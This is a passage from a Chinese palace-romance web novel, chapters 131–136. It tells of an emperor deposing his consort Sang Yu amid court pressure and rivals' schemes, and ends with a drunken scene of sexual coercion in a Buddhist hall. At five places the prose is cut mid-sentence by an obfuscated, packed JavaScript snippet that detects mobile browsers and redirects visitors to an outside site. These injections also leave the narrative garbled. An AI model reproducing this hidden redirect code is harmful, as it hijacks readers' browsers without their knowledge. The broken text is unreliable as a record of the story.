:“你说的很对,即使不让她死,可却可以让她被废。她不是一直都想出宫么?我这也算帮了她……” 李识衍的笑意渐冷,寒意砭骨的看着陆淮安。 酒过三巡,陆淮安已有些微醺。他盯着杯中晃动的酒液,忽然问道:“等桑余出宫……会怎样?” 李识衍眼中闪过一丝警觉,随即恢复如常:“可能……是发配流放,永不回京。” “太残酷了……”陆淮安喃喃道,“她罪不至此。” “陆兄心软了?”李识衍似笑非笑。 陆淮安摇摇头,眼中浮现出一丝异样的光彩:“我在想……若她被废为庶人,或许我可以……” “可以什么?”李识衍的声音骤然冷了下来。 陆淮安似乎没注意到李识衍的变化,自顾自地说道:“可以照顾她。当年是我骗了她……这也是个赎罪的机会。” 雅间内一时寂静无声。 李识衍的手指在桌下攥紧又松开,面上却不动声色,浮起冷笑:“陆兄重情重义,令人敬佩。” 离开醉仙楼时,夜色已深。 李识衍站在街角阴影处,看着陆淮安踉跄离去的背影,眼中寒光闪烁。 桑余不想因为她再死一个人,可李识衍想——陆淮安,他必须死。 就让他,做这一场棋局中,唯一的**吧。 第131章 难道真的要废了她? 接连五日,祁蘅的御案上都堆满了奏折。 他随手翻开最上面一本,看清上面写的东西后,目光便一寸寸变冷。 “妖妃祸国,还请陛下明正典刑!” 又是同样的字句。 祁蘅猛地合上奏折,一把扔了出去,额头青筋暴起,下颌冷硬的鼓动。 就这几天时间,朝中大臣像是约好了一般,每日都有十几本奏折要求严惩桑余。 “陛下,礼部张大人、刑部刘大人求见。”赵德全小心翼翼地在殿外禀报。 祁蘅闭了闭眼,缓缓道:“宣。” 两位大臣一进殿便跪伏在地:“臣等联名上奏,请陛下以江山社稷为重,废黜桑氏,以安民心。” 祁蘅冷笑:“朕倒不知,一个被关在牢中的女子,如何能动摇朕的江山?” 礼部张大人抬头,花白胡须微微颤抖:“陛下,民间已有传言,说桑氏乃妖孽转世,专克皇嗣,陛下自从纳她为妃后便一年未有子嗣,而今陆贵妃又被她害的险些……” “够了!”祁蘅一掌拍在案上,茶盏震得叮当作响,“朕看你们是闲得发慌!边关战事不管,漕运**不问,整日盯着朕的后宫?” 两位大臣吓得连连叩首,却仍不肯退让:“陛下明鉴,臣等一片忠心……” 如果放在以前,祁蘅早把人提出去杀了。 可近来,杀了一个还有一个。 如果不是冯崇一派从中作梗,怎么会有这么多不怕死的人接二连三的以下犯上? 祁蘅闭上眼,声音泛着寒意:“滚出去!” 待殿内重归寂静,祁蘅才颓然坐回龙椅。 桑余…… 桑余! 祁蘅将这两个字嚼碎了,想要咽下去却如鲠在喉,刺的他喉咙生疼。 我为了你,都要担上昏君的名号了,你都不愿意回头求求我? 只是生个孩子,你宁愿死,都不愿意生么? 你知道我一定不会杀你,所以就这样气我?! 祁蘅终于再也撑不下去,一把掀翻了面前所有的奏折,纸张白雪一样的散落了一地。 冷风灌进来,吹得烛火剧烈摇晃。 赵德全的声音却在这时又再次响起:“陛下,陆贵妃求见。” 祁蘅回过神来,这才堪堪稳住心神。 自从上次陆晚宁被推下水,他也从没去看过她,和她肚子里的孩子。 祁蘅闭了闭眼,哑声道:“宣。” 陆晚宁一身素白宫装,眼圈通红地走进来,看见一地狼藉,心疼的皱起了眉:“陛下,您这是……” 祁蘅眉头几不可察地皱了皱。 “无事。”他语气平淡,“太医说了,你还需静养,这么晚了来做什么?” 陆晚宁怔住了。 这么大的事,祁蘅竟然对她一点关心都没有,甚至生出了不耐烦? 陆晚宁委屈的垂下了眼,突然跪倒在地:“陛下,您真的不打算给我们的孩儿一个交代吗?他险些死在桑余的手里……” “死在桑余手里?”祁蘅忽然倾身,目光如炬地盯着她,“那日落水,你可确定是她推的你?” 陆晚宁一怔,眼泪凝在睫毛上:“当、当然……那么多宫人都看见了,你也看见了……” 祁蘅靠回椅背,手指轻敲扶手:“是吗?可朕问过当值宫女,她们都说站得太远,没看清。至于朕,也是因为你贴身宫女喊出的那句话,才以为是桑余要害你。” 殿内空气骤然凝固。 陆晚宁脸色煞白,手指紧紧攥住裙摆:“陛下这是……怀疑臣妾?” 祁蘅没有回答,只是看着她。 “臣妾明白了。”陆晚宁突然凄然一笑,“晚宁知道,陛下心里始终只有桑余,可我没想到,陛下会怀疑臣妾?那日明明陛下也看见了,也让人把她押入 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15799187|175043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大牢,为何如今开始怀疑臣妾了?” 祁蘅目光一怔,缓缓垂下了眼。 他自然想过,也怀疑过,可他的确是想将计就计,因为想叫桑余害怕,叫她服软。 只是没想到,朝堂众人会借机上奏废黜桑余。 事情像被一只手推着,莫名就到了如今的局面,处理起来竟这么耗费心神。 “罢了。”祁蘅声音冷了下来,“你回去,安心养胎,朕会给你一个交代。” 陆晚宁跪在地上,泪流满面,她不信自己拿孩子作赌都会输。 “陛下!你还记得你在北寒之地是怎么对我说的么?” 祁蘅抬眼,看向陆晚宁。 “我知 你一开始接近我,只是为了我父亲的残兵势力,可我还是无法自拔的爱上了陛下。 “但陛下也是爱我的对不对?你记得我喜欢海棠花,你说将来要和我生一个可爱的孩子,会对我们的孩子很好很好。 “臣妾等这个孩子等了一年,可陛下却又爱上了别人。但臣妾不在意,我只想,只要我们的孩子能平安降生就够了。 “可陛下面对想要害我孩子的人,却这般纵容…… 陆晚宁字字控诉,她知晓祁蘅当初对她动过真情,所以这些话足够让他心软。 果然,祁蘅的神情柔了下来,起身朝自己走来。 陆晚宁说的没错,很多年前,在海棠树下的惊鸿一瞥,干净温婉的陆晚宁的确撞进了祁蘅的心里。 那时他看不见身边的桑余,只向往那一抹干净纯粹。 后来决定谋反,也有一部分原因是因为陆晚宁被送去和亲…… 桑余一次次的伤他的心,他却还为了桑余去伤陆晚宁的心。 如今,朝堂上下都不容她。 所有人都在逼他。 难道…… 祁蘅想,难道事到如今,真的要废了她么? 第132章 那就让她走 废了她,结束掉一切。 朝堂那些老臣将再无可谏他的把柄,陆晚宁也能得一个交代。 可…… 可祁蘅做不到! 他做不到往后余生,漫漫长夜里再也没有桑余。 陪了他一辈子的桑余,就像长在自己骨头上的花,怎么可能说拔就拔了? 祁蘅皱起眉头,试探的想,不然,只废去她的位份,将她贬为庶人,囚禁在冷宫也好。 这样既能平息朝议,又能……留住她。 这是他能给她最好的结局。 但这么做,桑余那样的倔骨头一定不肯。 太医说她身心俱疲,若是不开心的时间长了,只怕会时日无多。 决定谋反的念头仅在一夜之间便决定好了。 可桑余的去留,他祁蘅想了整整五日。 直到今日,直到现在,陆晚宁向他哭诉,祁蘅忽然动摇了。 却似乎并不全是因为陆晚宁在他面前哭诉。 是他忽然想,放了她吧,放了她,他们都能得一个善终。 因为祁蘅最终还是不够心狠,没办法看着桑余死在自己手里。 原来登上再至高无上的帝位,也留不住想留的人。 —— 祁蘅第二日去见了祁翎。 乾清宫太烦,时不时就有一两个大臣来跪着上奏,长乐宫有陆晚宁,他也不想见,一见她她又会哭。 想来想去,竟然只有祁翎的宫殿似乎安宁片刻。 还有一个原因,就是桑余对祁翎很好。 他这个做皇兄的,似乎从来都没对他好过。 祁蘅踏入祁翎的宫殿时,宫人们正手忙脚乱地哄着小王爷。 竹编的蝴蝶篓子被递到祁翎面前,五彩斑斓的翅膀扑棱着,却始终撞不开那细密的竹条。 祁翎盯着它,小脸绷得紧紧的,一点笑意也没有。 “殿下,您看这蝴蝶多漂亮……”宫女小心翼翼地哄着。 祁翎却突然伸手,推开了篓子。 “我不要看!关在笼子里的蝴蝶,一点都不开心!” 正巧祁蘅走了进来,宫女们吓得跪了一地,齐声道:“参见陛下!” 祁蘅挥了挥手,示意她们退下,接过了那个 竹篓。 蝴蝶还在里面徒劳地扑腾,翅膀已经有些破损。 他走到祁翎面前,蹲下身,将竹篓递过去。 “别怕,告诉皇兄,今日为什么不高兴? 祁翎抬头,看见是皇兄,下意识缩了缩脖子,但还是小声回答:“因为……桑娘娘被皇兄关起来了。 祁蘅指尖一紧,竹篓发出细微的“嘎吱声。 “那你觉得,皇兄这么做,对不对? 祁翎张了张嘴,似乎想脱口而出“不对,可忽然又想起什么似的,低下头:“……对。 祁蘅眯起眼:“为什么对? “因为……祁翎绞着手指,“桑娘娘想害皇兄的子嗣,心思歹毒,就应该关起来。 这话听着莫名刺耳。祁蘅胸口发闷,声音不自觉地冷了下来:“你不是最喜欢她么?怎么现在反倒埋怨起她来了? 祁翎抬起头,黑白分明的眼睛里天真无比:“可她……不识好歹啊。皇兄对她那么好,她却总惹皇兄生气。 “啪! 祁蘅猛地将竹篓丢在石桌上,蝴蝶被震得一阵乱飞。 “那怎么也是你皇嫂!他声音陡然提高,“她那么疼你,事事都对你好,你怎么能这么说她?! 祁翎被吓得一哆嗦,睁大眼睛看着突然发怒的皇兄。 祁蘅自己也愣住了。 他在干什么?明明是他自己把桑余关起来的,这些话明明也是他的心里话。 可现在,他却因为祁翎一句埋怨而恼火。 祁蘅在想,这个世上,只有他能说她的不好。 其他人没有资格。 “……皇兄只是不想她被别人胡乱揣测。他别开视线,声音低了下来,“那个女人,其实很可怜。一个孤女,落了一身伤。是啊,皇兄对她那么好,可她还是死倔死倔的不肯听话。否则…… 否则什么? 否则他就算违背天下, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15799188|175043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也要保下她? 这句话哽在喉咙里,终究没能说出口。 祁翎忽然伸手,拿过那个竹篓。 他拧开盖子,里面的蝴蝶立刻疯了似的往外冲,翅膀擦过祁蘅的指尖,留下一丝一触即逝的感觉。 “皇兄。祁翎抓起他的手,指向已经 飞向高天的蝴蝶,“你觉得,它是关在笼子里开心,还是飞出去开心? 祁蘅盯着那只越飞越远的蝴蝶,下意识回答:“……笼子里很安全。 “是啊。祁翎轻声说,“所以它才拼命想飞出去。因为它只向往外面的绚烂,没见过外面的危险,她连一只麻雀都无法抵抗……可如果有一天它飞出去,发现还是笼子里好,不就心甘情愿回来了么? 祁蘅怔住了。 ——桑余就像这只蝴蝶。 她太天真,对这世间的险恶一无所知,才会对他的庇护嗤之以鼻。 如果放她出去,让她亲眼看看外面的风雨…… 她总会明白,只有他的身边,才是最安全的地方。 他要让她飞。 飞出去,看看外面的风雨,尝尝世间的冷暖,才知道待在他身边有多安全,才知道除了自己,没有人再会真心待她。 然后,等她撞得头破血流,等她明白这世上除了他祁蘅,再无人能护她时…… 她自然会回头。 祁蘅忽然像是下定了某种决心,眼中浮起一丝讽刺的冷意和决然。 他放下篓子,起身就头也不回的离开了。 …… 等祁蘅离开后,李识衍才从身后的殿中缓步走出。 祁翎立刻跑过去,仰起小脸:“夫子!我按你教的说了!这样真的能救皇嫂吗? 李识衍摸了摸他的头,笑意不达眼底:“会的。 他望向祁蘅远去的方向,眸色渐深。 祁蘅太过自信,以为桑余见识过世间险恶就会回头。可**—— 只要桑余飞出这座宫墙,就再也不会回来了。 因为这一次,护在她身前的人…… 会是他李识衍。 第133章 朕决定废了她 翌日,早朝。 祁蘅端坐在龙椅上,指尖摩挲着扶手上的龙纹,目光扫过底下跪伏的群臣。 眼中闪过一丝鄙夷的讽刺。 果然,来来去去的,还是那些谏言。 “陛下!桑氏谋害皇嗣,罪不容诛!”礼部尚书又一次出列,“若不严惩,何以正宫闱,何以安天下?” “陛下!老臣今日若不能劝动陛下,便撞死在这金銮殿上!” 一位言官突然冲出队列,直奔殿中的蟠龙柱而去。 侍卫们慌忙上前阻拦。 顿时,殿内一片哗然。 尽管这撞柱子的每隔一段时间就有一位,见怪不怪了。 老家伙嘛,既做不了上阵杀敌的将,又做不了为国献计的相,便只能被人忽悠的撞撞柱子,震慑一下君王权相。 混乱中,祁蘅忽然开口。 “够了。” 他的声音不大,却让整个大殿瞬间安静下来。 祁蘅缓缓站起身,玄色龙袍垂落,袖口金线绣的龙纹在晨光中泛着冷冽的光。 “诸位爱卿演了这么多日,不累么?” 祁蘅的目光扫过每一张面孔,那些或震惊或错愕的表情被尽收眼底。 整日看到这样一群人,祁蘅有时候觉得上朝也挺没意思的。 “你们不累,朕都累了。” 祁蘅冷笑了一声,透过大殿的门往外看去,一片白日青光,似乎看见了平常没看见的宽阔。 “那朕便如你们所愿,废黜桑余,逐出宫去。” 这句话如同一块巨石投入平静的湖面。 冯崇很是意外,显然没料到皇帝会突然让步。 陆淮安眼中也闪过一丝喜色,随即又恢复成恭敬的模样。 这下,晚宁在宫中总算是彻底没有威胁了。 “陛下圣明!”冯崇率先反应过来,高声恭维。 群臣纷纷附和,声音在金銮殿内回荡:“陛下圣明!” 祁蘅看着这一幕,胸口却像被什么东西堵住了。 但这句话并没有他想象的那么难以说出口。 只是说出后,胸口有些酸涩,仿佛所有的力气都被抽干了。 有些想歇一歇。 祁蘅转身,一步步离 开:“退朝吧。” 阳光透过雕花窗棂洒在他的龙袍上映出一片刺目的金色。 很是冷清。 —— 桑余已经被关在牢里七日了。 也不知道是李识衍打点好了一切还是祁蘅下的令她过的也不算艰难至少没有人为难她饭菜也按时送来。 外面突然传来脚步声接着是钥匙转动的声音。 桑余抬起头看见狱卒打开了牢门。 “桑娘娘宫里来人了接您出去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15799189|175043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 桑余微微一怔 双腿因久坐而麻木她踉跄了一下。 一步步走出牢门刺眼的阳光让桑余眯起了眼。 她抬手遮挡透过指缝看到了熟悉的身影——云雀和林嬷嬷站在不远处云雀已经红了眼眶。 “娘娘!”云雀冲过来却在两步之外硬生生停住。 她急忙上下打量着桑余生怕她受了什么伤。 林嬷嬷稳重些但眼中也含着泪光:“娘娘受苦了。” 桑余摇摇头勉强扯出一个笑容:“我没事。”她环顾四周不明所以的问:“怎么回事?为何突然……” 林嬷嬷叹了口气示意云雀扶住桑余三人慢慢向马车走去。 林嬷嬷黯然道:“今日早朝陛下说要下旨废了您。” 桑余站在原地阳光照在她苍白的脸上竟显出几分透明。 “是么?”她轻声说嘴角忽然扯出一丝笑。 他真的……肯放她走了。 终于…… “娘娘别难过”云雀急急道“至少保住了性命” “难过?”桑余轻笑一声眼中如释重负:“我该高兴才是云雀你根本不知道我有多开心……” 桑余想起了什么急忙问:“那他可有说什么时候下诏?” 林嬷嬷摇了摇头:“并未不过应是快了。娘娘陛下派了来接您的马车咱们先回宫中见了陛下再听他如何说吧?” 第134章 趁朕还没有反悔 乾清宫,龙涎香在殿内静悄悄的烧着,升起一缕青烟。 祁蘅托着下巴,眼神空洞的望着面前的书案,手指无意识地摩挲着一方青玉镇纸。 门外有人来了,内侍轻声禀报:“陛下,桑宝林到了。” 祁蘅闭了闭眼,神色冰冷的用指节轻飘飘的擦去了眼角的泪。 “让她进来。” 桑余走进,缓缓站定,没有抬头看他。 两个人仿佛隔了很远很远,中间笼罩了一层看不见的纱。 “手上的伤可好一些了?” 是祁蘅先开口,没看她,声音里却带着自己都没察觉的紧绷。 身后传来衣料摩挲的声音,桑余在行礼:“回陛下,已经好很多了。” 祁蘅终于抬起了眼。 七日不见,桑余瘦得几乎脱形,素白的衣服挂在身上空荡荡的。 “过来。”他命令道。 桑余往前挪了一小步。 祁蘅看她对自己这般避之不及的样子,胸腔里仿佛长了一颗刺球,生疼生疼。 最后,他只是自嘲的冷笑了笑。 桑余只迫切想知道废妃诏书何时下达。 但却又怕自己操之过急,惹的祁蘅反悔。 毕竟他向来反复无常,难以捉摸。 祁蘅看着桑余,眼中闪过一丝迷茫,像个第一次认真考虑问题的孩童。 “朕想知道,若是朕没坐上这个帝位……”祁蘅的声音突然有些沙哑,“我们之间还会不会变成如今这样?” 这个问题来得突兀,桑余微微一怔。 阳光照在她苍白的脸上,睫毛在眼下投下一片阴影。 “会的。”桑余轻声说,却是答的毫不犹豫。 祁蘅眉头一皱:“你凭什么那么笃定?” “因为陛下还是会心悦陆晚宁。”桑余抬起眼,直视着他,“从始至终。” 祁蘅声音提高了几分,像被戳中了痛处:“可若朕没有当上皇帝,陆晚宁也不会嫁于朕!我们之间,就不会像如今这样,你也不会因为陆晚宁而和朕出现嫌隙。” 桑余静静地看着他,目光清澈得近乎残忍:“可是,陛下的心中却会一直装着陆晚宁,不是么?” 她嘴角牵起一丝苦笑,“ 其实结果都是一样的。您与我,天差地别,天上云和地上泥,不管有没有他人,都永远不可能有善果。” “砰!” 祁蘅一掌拍在案几上,茶盏震得叮当作响。 他胸口剧烈起伏,眼中怒火与痛楚交织燃烧,掌心死死的嵌入镇纸:“都是你自己一己的想法!明明朕对你这么好,百般纵容千般宠你,明白只要你肯顺着朕,两厢情愿,怎么会不是善果?” 祁蘅想不明白,真的不明白。 他都已经对她这么好了,比以前好这么多,她为什么还是不回头? 桑余摇了摇头,认真的想了想:“不是的。只要我还留在宫中,就永远不会安宁。将来,若是陆晚宁再出现什么事,陛下还是会不信我,会将我推开,不是么?” 祁蘅语塞。 他想解释,想说那只是一时情急才错怪了她。 可看着桑余决绝的神情,忽然觉得一切辩解其实都不重要了,她根本不会想听。 她铁了心要走,任何解释都只会显得苍白。 “呵,”祁蘅冷笑一声,眼中浮现讥讽,用最刻薄的话刺她:“以前花了那么多力气想出宫,如今终于等到朕松口,你是不是很期待?” 桑余迎上他的目光:“我出宫,只是想好好活下去。陛下已经不需要一个没用的暗卫,可我想换个活法。” “换个活法?” 祁蘅皱起眉,不由嗤笑一声。 “你以为你现在这幅样子,出宫就能活下去?”他恶意地打量她单薄的身形,“身无寸劲,无亲无故……怎么,是打算干回乞丐的老本行?” 这句话像刀子一样刺来。 桑余身体微微一颤,但很快挺直了背脊:“是死是活……都是臣妾自己的造化。” 祁蘅看着她倔强的样子,胸口一阵刺痛,好像自己对她说的那些恶言恶语都反噬在了自己身上。 他猛的上前一步,逐步逼近,声音暗哑:“桑余,你到底明不明白?这世上只有朕心疼你,只有朕不会在意你身上的那些残缺!” 桑余眼中闪过一丝波动,但很快恢复平静。 “没关系,我不需要他人的心疼。” 桑余不置可否,只是静静站着。 阳光在她身后拉出一道 长长的影子像一道即将断裂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15799190|175043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的羁绊。 “好”祁蘅忽然笑了所有的温柔彻底不见只剩下讽刺:“那你就走吧。走了就不要再回来。” “明白了。”桑余福身行礼动作标准得挑不出一丝错处:“那陛下什么时候给我出宫诏书?” “这么着急啊?怎么?外面有人等你?” 桑余垂着眼不敢让祁蘅看出分毫他太聪明了几乎能从她的神色里一眼猜出问题。 “陛下也说了我这样的人有谁会在意呢?” 祁蘅凝视着她审视着她。 半晌一点点收回了目光。 低头看向掌心微微偏了偏脑袋掌心方才被镇纸划破了解开伤口渗出血丝。 “陆晚宁的胎像还未稳”他忽然说声音恢复了帝王的威严“等太医说彻底没了大碍你才可以走。” 桑余抬起头眼中闪过一丝讶异。 “陛下不会出尔反尔吗?” “朕在朝堂之上说出的话怎么可能反悔?” “那希望陛下给臣妾一个期限否则臣妾不可能一直等而朝堂之上更等不了。” 祁蘅挑了挑眉看来她已经知道自己祸国妖妃的名号了。 “三日。三日后晚宁若无大碍朕便把出宫诏书亲自交给你。” 桑余紧抿着唇跪了下来将头扣在地上。 “那臣妾……不奴婢希望陛下君无戏言莫要反悔!” “滚!” 他背过身去声音扭曲得不成样子“趁朕还没改变主意滚的越远越好不要再让朕看见你!” 祁蘅听见了脚步声渐渐远去。 他站在满室寂寥中受伤的手疼的发抖。 这么多的血桑余都没看见么? 不她从来都观察细致尤其是自己的分分毫毫。 可她忽略了她不会心疼自己了不管自己流多少血她都不会回头关切自己了。 他以为自己够冷情可忽然才发现他甚至做不到桑余从前一样偷偷将伤口藏起来。 他只想让桑余知道明目张胆让桑余心疼…… 祁蘅又想像往常一样去找陆晚宁或者其他人看着她们对自己臣服和在意。 但是祁蘅忽然意识到不对他这样从别人身上寻求安慰得到的永远都只是浅显的满足罢了浮于表面不满于心因为那些人从来不是桑余。 祁蘅茫然的随意的 第135章 与朕温存片刻也不行? 桑余回了清梧院收拾东西,三天时间一到她立刻就走,一刻也不想在这宫中多待了。 但站在厢房里,忽然发现竟没有一件东西值得带走。 那些绫罗绸缎,珠宝首饰,都不能算是她的东西。 庶人出宫,也不会允许带走任何东西。 林嬷嬷捧着包袱,声音发颤:“娘娘,这些都不带吗?” 桑余摇摇头,不过好在,这些年她也攒下了一些月俸。 “娘娘,出了宫……您打算去哪儿?”云雀红着眼眶问。 桑余想说去江南,去看师父说的烟雨朦胧,但她又怕若是去向让祁蘅知道,难不保会被他寻到。 她只要逃出去了,就一定要躲得远远的,此生此世都不要再被他找到。 桑余改口:“还没想好,走到哪儿算哪儿。” 话音未落,院外传来尖利的嗓音:“桑氏可在?” 云雀先出去,见是长乐宫陆晚宁身边的周嬷嬷,一副来势汹汹的模样。 周嬷嬷道:“这几日众妃都在大佛堂为皇嗣祈福,桑氏理应也要去!” 桑余平静道:“我已不是妃嫔了。” “呵!”老嬷嬷冷笑,“贵妃腹中皇嗣是因你才有如今之恙,你是最应该去的!祈福之事也是圣上允诺,你若不去也可以,那就别怪此事传到陛下耳朵里!” 桑余指尖一颤。 若这事传到祁蘅耳中,他反复无常,说不定又要借题发挥。 …… 夜色如墨,佛堂内百盏长明灯幽幽跳动。香烟缭绕。 桑余跪在蒲团上,双手合十,潜心祈祷。 她这样,自然不是为了陆晚宁。 陆晚宁肚子里的孩子是生是死,和自己毫无关系。 是为了别人。 当暗卫这些年,死在桑余手中的人太多,多到连面容都记不清了。 尽管都是死敌和恶人,可更多的,只是阵营对立罢了,她不杀他们,他们就会杀自己和祁蘅。 桑余面向古佛,企图诚心的赎罪。 如果她现在的下场就是报应的话,桑余不怨。 今后出宫了,她便与这些事情全部一刀两断,彻底划割。 风起,烛火轻晃。 “你 在求什么?” 一道阴影突然笼罩下来熟悉的声音惊得桑余浑身紧绷。 她不用回头就知道是谁那冷木檀香混着龙涎香的味道普天之下只有一人。 祁蘅。 他不知何时来的玄色常服几乎融进夜色像道鬼影一般一步步靠近。 他明明都说了让自己有多远滚多远又来找她做什么? 桑余跪着回答:“奴婢应陛下口谕在此求皇嗣平安。” 祁蘅忽然屈膝重重的跪在她身后将脸贴近她的头发。 桑余一怔祁蘅的呼吸缠绕上她的脖颈她这才闻见他身上还有酒气很浓重。 她不由浑身绷紧指尖深深掐入掌心。 “怕什么?”他的声音低沉带笑右手忽然撑在她身侧的蒲团上指尖擦过她手背“朕又不会在这佛堂里要了你。” 桑余屏住呼吸目光死死盯着面前摇曳的烛火。 是这里是慈宁宫的佛堂菩萨和佛祖都在这里看着他哪怕是天子也该有所顾忌怎么敢胡作非为? 佛堂外隐约传来更漏声三更天了。 此刻这偌大的慈宁宫偏殿只有他们两个人。 是祁蘅让所有人离开的? 桑余提醒祁蘅:“佛堂圣地奴婢更是为了陛下的子嗣祈福陛下断不可太过妄为。” 祁蘅低笑一声忽然整个人的重量压下来宽大的玄色衣袍轻而易举就圈住瘦弱的身躯。 桑余想推开他却被他圈的更紧。 他的胸膛紧贴着她的背脊心跳声震耳欲聋。 长明灯在祁蘅轮廓分明的脸上投下诡谲光影他望着庄严肃穆的神像一双眸子深不见底。 “桑余你说是天子重 桑余不知道他在胡言乱语什么用力挣扎着。 “朕是天子普天之下莫非王土你觉得朕会怕几樽金像菩萨?” “陛下醉了。”桑余声音渐冷“这是佛堂!” “朕刚从长乐宫出来。”祁蘅置若罔闻抬手漫不经心地勾起桑余一缕散发“晚宁熏了新的安神香说是南诏进贡的珍品。可朕闻着还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15799191|175043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不如你身上的味道好闻。” 桑余浑身发抖。这不是夸赞是猎人 对猎物的品评。 “陛下应该陪着陆贵妃应该照料好自己的皇嗣……” “如果我偏不呢?” 祁蘅突然掐住她后颈趁机将人拽起来转了个向桑余踉跄着跌进他怀里抬眼正对上他幽深的眸子。 烛光下帝王眼角泛红面色苍白冷厉的看着她说:“朕偏偏就要来找你呢?你都要走了与朕温存片刻都不可以么?” 桑余惊骇的看着祁蘅觉得他疯了。 “知道朕方才看着陆晚宁时在想什么吗?”他死死攥着桑余的手腕一只手扣住她孱弱的腰“朕在想原来朕一直都想错了她们都不是你没有人会代替你若是你真走了大概朕在任何人身上都找不到一样的感觉了。” 最后几个字化作湿热的气息渡进她唇间。 桑余瞪大眼睛不敢相信他竟真敢在佛前放肆。 可没等她反抗祁蘅已经扣住她双手反剪到身后另一手扯开她衣领。 “你看 祁蘅低头在那疤痕上吻了吻:“等你走之后整个宫里所有的女人身上都再也不会找到这样的印记了。” 桑余害怕的颤抖她拼命想要逃离这种耻辱的感觉逼得她眼眶发热流了眼泪。 可祁蘅不在乎了相比她要走给自己带来的失落她的眼泪不值一提。 殿外忽然雷声轰鸣暴雨倾盆而下。 祁蘅借着酒意将人抵在供桌上供果经书全部滚落一地。 桑余知道反抗无用想先让祁蘅冷静下来他喝醉了才会这么发疯。 桑余低头看见他手上的伤刚刚裂开还在往外渗血。 她安抚着祁蘅动之以情:“陛下陛下!你的伤让奴婢先为你包扎……” 祁蘅动作猛的顿住眼中闪过一丝迷茫和失落“你现在才看见么?” 一道闪电劈亮佛堂照亮他疯狂又脆弱的神情。 没等桑余反应祁蘅已经埋头在她颈间声音闷得发颤: “很疼桑余真的很疼!连着朕的心口都在疼朕从来没有想过自己会因为一个人疼成这个样子!朕只问你最后一遍你真的要离开我?” 第136章 祁蘅,真的够了 桑余看着祁蘅,一字一句的果决回答:“是!” 可她的的尾音还未落下,祁蘅已经狠狠咬上她的唇。 那不是吻,是惩罚。 血腥味在唇齿间弥漫,没有丝毫温柔,像是要将她拆吃入腹,桑余疼得发抖。 但他的手掌钳制着她的后颈,不容她有丝毫退缩。 “呜……” 桑余的背脊抵在冰冷的供桌上,供香与龙涎香的气息交织着灌入鼻腔,却被他铁钳般的手扣住后脑无法挣脱。 这个人,为什么还不愿意放过她? 十一年了,祁蘅,我在你身边十一年了。 我为你挡过箭,中过毒,杀过无数人……你救过我,可我也早就还清了啊。 是你把陆晚宁亲自娶回来的,是你说过我废人一个,是你亲自当着我的面去爱别人,是你不要我的……那些事情都是你自己做的,没有人逼你。 我只是不愿意在看着你了,可你为什么还要来欺负我? 够了吧?祁蘅,真的够了吧! 我连命都给你了,你还要把我的心也挖出来碾碎吗? …… 桑余胡乱摸索着身后的供桌,指尖突然触到一尊铜佛像。 她毫不犹豫地抓起,用尽全力朝祁蘅额角砸去。 一声闷响,祁蘅的身影轰然倒地。 桑余终于呼吸到了新鲜的空气,她抱着染血的佛像踉跄后退,胸口剧烈起伏着。 铜像沉甸甸的重量压在她掌心,上面还有温热的血。 闪电划破夜空,照亮地上缓缓爬起的身影。 祁蘅额角裂开一道狰狞伤口,鲜血顺着眉骨流到下颌,在雪白的脸上划出刺目红线。 他抬手抹了把血,不可置信地笑了:“你打我?” 桑余从未见过这样的祁蘅——像从地狱爬回来的恶鬼,连瞳孔都泛着血色。 